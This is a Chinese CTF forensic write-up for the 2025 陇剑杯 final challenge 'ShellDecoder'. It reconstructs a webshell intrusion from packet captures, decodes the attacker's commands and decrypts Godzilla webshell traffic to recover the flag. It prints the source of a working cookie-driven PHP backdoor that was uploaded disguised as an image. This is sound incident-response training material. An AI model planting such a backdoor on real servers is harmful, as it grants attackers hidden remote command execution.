当前位置: 首页 > news >正文

陇剑杯2025 决赛-ShellDecoder

ShellDecoder

应急响应 解题数:4

某政务云服务器被上传了webshell,触发了告警。经过严密的分析后,成功溯源到嫌疑人。现对该起事件进行复盘,请根据捕获流量找到flag

解压文件以后我们能发现有两个流量包:
1.pacp全是DNS流量,我们直接使用CTF-NetA一把梭

image-20250923105615042

image-20250922155035949

拿到有一串类似解压文件的密码。
2.pcapng我们初步返回的数据分析能发现是一个文件上传的靶场,猜测是Upload-labs
image-20250923105919555

所以我们的目标先去寻找有没有上传的文件,直接CTF-NetA统计所有200的访问记录

image-20250923110106044

里面穿插了大量的SQL注入的杂乱数据,先去除这些数据
image-20250923110432219

还有一些访问外网资源的记录,其实也直接去除

image-20250923110604512

这样就比较直观了,明显的上传文件就是a.php 和 shell.php
我们先去流量里面直接寻找看看能不能找到上传的信息和找到源码
#我这里直接手动把a.php所有的和上下多两条流量全部单独提取出来了,WIN的太大会卡
#所以这里的TCP流不是原流量包内的,这里就不列出来了

image-20250923110840935

能发现有一个传输的a.php的,明显是伪装成图片上传,稍微反编译:
image-20250923111549606

<?php
$b = "base64_decode";if (!$_COOKIE["cm"]) {}ob_start();system(base64_decode($_COOKIE["cm"]) . ' 2>&1'
);setcookie($_COOKIE["cn"],$_COOKIE["cp"] . base64_encode(ob_get_contents()) . $_COOKIE["cp"]
);ob_end_clean();
?>

简单描述就是cm传输base64加密后的命令,然后执行结果会被cp包围起来,并且返回的数据是在cookie值
我们来手动解密一段:
image-20250923124504281

我们直接用批量脚本分析一下:

#回显结果:
D:\PyCharm\pythonProject\.venv\Scripts\python.exe F:\ENV\Re.py ==== #1 ====
[命令] id
[回显]
'id' 不是内部或外部命令,也不是可运行的程序
或批处理文件。==== #2 ====
[命令] dir
[回显]驱动器 D 中的卷是 软件卷的序列号是 7CF9-F4C8D:\phpStudy\PHPTutorial\WWW\upload\upload 的目录2025/09/12  09:27    <DIR>          .
2025/09/03  20:38    <DIR>          ..
2025/09/12  08:40                48 0.txt
2025/09/12  08:33               164 1.txt
2025/09/12  08:35               164 10.txt
2025/09/12  08:36               148 11.txt
2025/09/12  09:00                80 12.txt
2025/09/12  08:33               164 2.txt
2025/09/12  08:34               164 3.txt
2025/09/12  08:34               164 4.txt
2025/09/12  08:34               164 5.txt
2025/09/12  08:34               164 6.txt
2025/09/12  08:35               164 7.txt
2025/09/12  08:35               164 8.txt
2025/09/12  08:35               164 9.txt
2025/09/12  09:58               576 a.php
2025/09/12  08:47               589 b.php
2025/09/12  08:10               894 key.zip
2025/09/12  09:32             2,561 shell.php17 个文件          6,536 字紹U2 个目录 41,195,835,392 可用字节==== #3 ====
[命令] type 9.txt
[回显]
7648efd0c2c68d14172ecf4fcfa6e3ab055f0458226822886d86d15cedb084b2eff4a3c01e3a1a838a54b87563b09b2fd2688ad2d4f1e75a69b0c3f06e6ff75c496905bc0f3dae6d7de35931de2d570c882d==== #4 ====
[命令] type 4.txt
[回显]
2f20a9c10dc6d3f7490c6630b4b05dd9a5e3d124cc6018ebc70bedf88abdb06dafc7c72b5f6864936ab9dea44f0e66943b25585839a541bdf809670c6b08ce84a43c1ac5f1d3ceb202def2b09f3490c42acf==== #5 ====
[命令] type 7.txt
[回显]
68f8a23b6a818c72463aa79d255b20d96bb032ab19308a74625145680cb8bb55d52d4d1a7c8f4226b71e92e842278379c82185634f3ec174e2289a3a45eb3dd3cf0496b1eed33a6a01e84c9767f20b034701==== #6 ====
[命令] type 10.txt
[回显]
290b121d3b978fdf9ac8a15c71c31868f22e1cbf7a02be88b577a0678edfba56e8e338abd3fa3620bd4bd1c99f504b01023f001400010008001c412c5bc19503b4ea0200004c040000070024000000000000==== #7 ====
[命令] type 11.txt
[回显]
0020000000000000006b65792e7478740a00200000000000010018000eec7b6d7923dc0100000000000000000000000000000000504b05060000000001000100590000000f0300000000==== #8 ====
[命令] type 1.txt
[回显]
504b03041400010008001c412c5bc19503b4ea0200004c040000070000006b65792e7478747ef1a449c9656d0296825e0cd78424b2cfffe08ca344698a6628142f8cdad16009670a48d75b76155a849cb4e1==== #9 ====
[命令] type 2.txt
[回显]
84f059e8030af5b446c88819d72c4e219bb787e798382bc435a551658d53aea5569bbc3ffac6f1df18a4c2b7efb7736dd753ac143ff0852c019d0092cd230085fbe19ed5e1025f14db42162de1e271b72a62==== #10 ====
[命令] type 8.txt
[回显]
c08bfe54b5179b0da9c64581c85d261f85013d4ab126d98e628c22ef6bff68ef4931f2963e77720b8abcd46f36782ebf060649db141dab1e43870120be1755f8bd0a99e574b81556cc4f168000f42ea9e994==== #11 ====
[命令] type 6.txt
[回显]
3fdb176059a88d1fb0571967a64c141a6d18df8ac7aa56c0e63dcc85d0dbfa84084270169dfa5e8984ccd3f31e6bfec46a44c891019cce2584dd6d6ea9c207ecb6ef28bbaa7b1aaf46fabe6786ee8232c9c5==== #12 ====
[命令] type 3.txt
[回显]
6061c84370cb052b94e38830aa9fdf1f7b48e3181d2ede6b10e680343fc8aa6619f458b476930d59d4671635493919a82f6f9b2b28b54620331e0999c5fe1dbbc445d6bc2626e6f72217140e9439dca557d8==== #13 ====
[命令] type 5.txt
[回显]
a6e26ea04825426aa9c634efe4f996805e9d24beb92a10643ee8fe95970e4a9448328c594fd5783670e6b08c9084f4c877aebf31b5faa2c6ca113d40401fe1ac0cf92ad6b18e249672d998361a5d4a2e6cdf==== #14 ====
[命令] type 0.txt
[回显]
2d343962662d393066362d3034656536326561636230367d==== #15 ====
[命令] type 10.txt
[回显]
290b121d3b978fdf9ac8a15c71c31868f22e1cbf7a02be88b577a0678edfba56e8e338abd3fa3620bd4bd1c99f504b01023f001400010008001c412c5bc19503b4ea0200004c040000070024000000000000==== #16 ====
[命令] type 11.txt
[回显]
0020000000000000006b65792e7478740a00200000000000010018000eec7b6d7923dc0100000000000000000000000000000000504b05060000000001000100590000000f0300000000==== #17 ====
[命令] type 6.txt
[回显]
3fdb176059a88d1fb0571967a64c141a6d18df8ac7aa56c0e63dcc85d0dbfa84084270169dfa5e8984ccd3f31e6bfec46a44c891019cce2584dd6d6ea9c207ecb6ef28bbaa7b1aaf46fabe6786ee8232c9c5==== #18 ====
[命令] type 9.txt
[回显]
7648efd0c2c68d14172ecf4fcfa6e3ab055f0458226822886d86d15cedb084b2eff4a3c01e3a1a838a54b87563b09b2fd2688ad2d4f1e75a69b0c3f06e6ff75c496905bc0f3dae6d7de35931de2d570c882d==== #19 ====
[命令] systeminfo
[回显]主机名:             DESKTOP-U4K5BH1
OS 名称:            Microsoft Windows 11 专业工作站版
OS 版本:            10.0.26100 暂缺 Build 26100
OS 制造商:          Microsoft Corporation
OS 配置:            独立工作站
OS 构建类型:        Multiprocessor Free
注册的所有人:       Wh1teSu
注册的组织:         暂缺
产品 ID:            00391-70000-00000-AA190
初始安装日期:       2025/2/26, 10:21:45
系统启动时间:       2025/9/12, 7:34:17
系统制造商:         Micro Computer (HK) Tech Limited
系统型号:           UM773
系统类型:           x64-based PC
处理器:             安装了 1 个处理器。[01]: AMD64 Family 25 Model 68 Stepping 1 AuthenticAMD ~3201 Mhz
BIOS 版本:          American Megatrends International, LLC. 1.16, 2023/2/15
Windows 目录:       C:\Windows
系统目录:           C:\Windows\system32
启动设备:           \Device\HarddiskVolume1
系统区域设置:       zh-cn;中文(中国)
*=Q佞时区:               (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量:       30,456 MB
可用的物理内存:     8,430 MB
虚拟内存: 最大值:   36,344 MB
虚拟内存: 可用:     6,773 MB
虚拟内存: 使用中:   29,571 MB
页面文件位置:       C:\pagefile.sys
域:                 WORKGROUP
登录服务器:         \\DESKTOP-U4K5BH1
修补程序:           安装了 3 个修补程序。[01]: KB5056579[02]: KB5063878[03]: KB5065381
网卡:               安装了 8 个 NIC。[01]: Intel(R) Ethernet Controller (3) I225-V连接名:      以太网状态:        媒体连接已中断[02]: Bluetooth Device (Personal Area Network)连接名:      蓝牙网络连接状态:        媒体连接已中断[03]: RZ608 Wi-Fi 6E 80MHz连接名:      WLAN启用 DHCP:   是DHCP 服务器: 192.168.5.1IP 地址
淣+揩<o|J<
;篕鼭<3琾

1-11.txt能合成一个压缩包,用前面1.pacp的密码解压能拿到一个key.txt
image-20250923124735832

0.txt HEX解码是flag的后半段

-49bf-90f6-04ee62eacb06}

我们还能从dir里面获取到信息,结合前面总结的成功访问的URL,我们的下一步目标就是shell.php
还是一样,我们先观察然后把所有的shell.php提取出来

image-20250923124735899

pass是哥斯拉默认的密码,也就是传参,并且第一条pass没有回显,所以我们就能判定第一条是传输的参数
我们利用前面给的key.txt先转换,全部转换成哥斯拉密钥的格式
这里使用的脚本是这个,稍微修改了一下变成批量爆破的 webraybtl/webshell_detect: webshell_detect

1p79u0ztp 0ca63845f8997771
image-20250923124735899

然后我们能拿到密钥,去解密前面第一个发送的包,成功解码

image-20250923125551424

但是用这个方法去解密之后执行的操作却发现不行
#我真的服了,这里猜测是一个php塞了两个马子
进行数据的分析解密发现是AES-ECB也就是 JAVA_AES_BASE64

#3.py
D:\PyCharm\pythonProject\.venv\Scripts\python.exe F:\ENV\3.py 
==========================================================================================
### REQUEST 密文(base64解码后)  原始长度: 32
[XOR] len=32  head=b'\xa0\xfaH\x0b\x8f\x94\xa4\x9a\xad*\x04\xc9":Ik\xff\x16\xe9.\xcdu\xfa\xb7\x15\xb0\xcaI2\xc5\xed\xaf'
[XOR] ascii: ..H......*..":Ik.....u.....I2...
[AES-ECB] len=28  head=b'methodName\x02\r\x00\x00\x00getBasicsInfo'
[AES-ECB] ascii: methodName.....getBasicsInfo
[AES-ECB] >>> 可能命中 TLV(发现关键字)
[AES-CBC(K=IV)] len=32  head=b']\x06\x15^\\\\zT\x0b];4777V\xa6\xef<Y\xc4\xc9\xf2\x8f\xdc}[\x91\x11\t|_'
[AES-CBC(K=IV)] ascii: ]..^\\zT.];4777V..<Y.....}[...|_
==========================================================================================
### RESPONSE 密文(去头尾16HEX+base64后)  原始长度: 1136
[XOR] len=1136  head=b'\xbc2\x93e#!X\xf1R\xf4\x02x\x1e\xf0\xdcj{\x87\xeb\xb0\x86\x18\x003!\x1e\x83]\xe3n\xdf1'
[XOR] ascii: .2.e#!X.R..x...j{......3!..].n.1.a.S..5.rt-m...h5YU.)....L|,%..\..Z.@...,.........b-..;.q..s...)3...@=>......2x..%..&O.R
[AES-ECB] len=1132  head=b'\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x0b\xa5UQs\xa36\x10~\xe7W\xf0x\x99Q\xb0\x8d\x1d\xd7\x17?\x11\x83'
[AES-ECB] ascii: ...........UQs.6.~.W.x.Q.....?......A\..0.. ...D%....].Nsm..L.$.......U.V|'.k{.x!^.}..~..&at.m....vdO...6.,...ph.:...lv5
[AES-ECB+GZIP] len=2174  head=b'OsInfo : Windows NT DESKTOP-U4K5'
[AES-ECB+GZIP] ascii: OsInfo : Windows NT DESKTOP-U4K5BH1 6.2 build 9200 (Windows 8) i586.CurrentUser : Wh1teSu.REMOTE_ADDR : 192.168.7.134.RE
[AES-CBC(K=IV)] len=1136  head=b'/\xe8i63845f3\x9clfD\x94\x07\xcf-B\x01\xebm\xf4\xc6\xda@&\x98>\xf8\xfc\xd9'
[AES-CBC(K=IV)] ascii: /.i63845f3.lfD...-B..m...@&.>....9...p..).rJ..oE....l...9 ...W.......x....b.y.y.L..........]..7<.."z...M....TS.q/..`Ve}Y进程已结束,退出代码为 0

得到解码方式,去进行指定解密

#26:发送很多功能的PHP代码
#27:test测试 -> ok
#28:getBasicsInfo -> 返回一些系统信息
#29:类似dir
#30:写了一个flag.txt:flag{fake_flag} -> ok
#31:创建了一个flag.zip:flag.txt:flag{no_here} -> ok
#32:查看flag.txt
#35:执行systeminfo
#36:执行dir
#38:执行"tasklist /SVC
#39:执行chdir -> D:\phpStudy\PHPTutorial\WWW\upload\upload
#40:查看12.txt -> MyNnfCk2LkBEdWYsayQ2Uy9OOnRuJV5UczJzfUJVSXhENVJTRC40IUV2WD4melJDNWgxZ0g9LS0pNQ==Base混合多重解码:[解码5次] Base64 -> Base92 -> Ascii85 -> Base62 -> Base45混合解码结果:flag{94e35868-8b16

所以最后拼接flag:flag{94e35868-8b16-49bf-90f6-04ee62eacb06}

http://www.hskmm.com/?act=detail&tid=14786

相关文章:

  • Springcloud gateway笔记
  • AT_arc122_e [ARC122E] Increasing LCMs
  • C++ 锁
  • 飞书对程序员下手了,0 代码生成各类系统!!(附保姆级项目实战教程)
  • Adaptix C2:跨平台渗透测试与对抗仿真框架
  • 国标GB28181软件EasyGBS网页直播平台在邮政快递场景的落地与应用
  • sql统计一个字段各个值各有多个个的方法
  • WBS、甘特图、关键路径……项目计划的五大核心概念一文全懂
  • 智启新程:哲讯科技引领SAP ERP实施新范式
  • 移动端性能监控探索:鸿蒙 NEXT 探针架构与技术实现
  • 哲讯科技:以数智之力,铸就企业SAP ERP实施新典范
  • PR曲线绘制
  • 5台电脑怎么同步文件最安全高效?别再只知道用局域网共享了!
  • 关于CompatibilityHID例程的使用
  • SystemVerilog 代码风格指南
  • 赋能智慧化工:无锡哲讯科技SAP解决方案,构筑安全、合规与高效的数字新底座
  • 芯之所向,智造未来:无锡哲讯科技赋能芯片行业的高效管理与数字革新
  • UART、I2C、SPI:三种常见通信协议的区别
  • Day05---数据类型的转换
  • 个人项目——论文查重
  • 效率党的图片处理新选择:滴答修——在线全能工具箱,免费且强大
  • GPU0与GPU1
  • 对接全球股票市场K线数据实战
  • 9.23
  • centos安装docker和Jenkins
  • 硬件检测神器 HWiNFO:全组件监控 + 多系统兼容,免费无广告,运维 / 评测必备
  • Qt - 音频采集程序
  • 923-
  • 基于 AI 网关提升大模型应用可用性的实践
  • 绝了!TaskMatrix Pro - 谷歌、火狐浏览器任务管理插件,四象限矩阵让拖延症瞬间消失 - 开源免费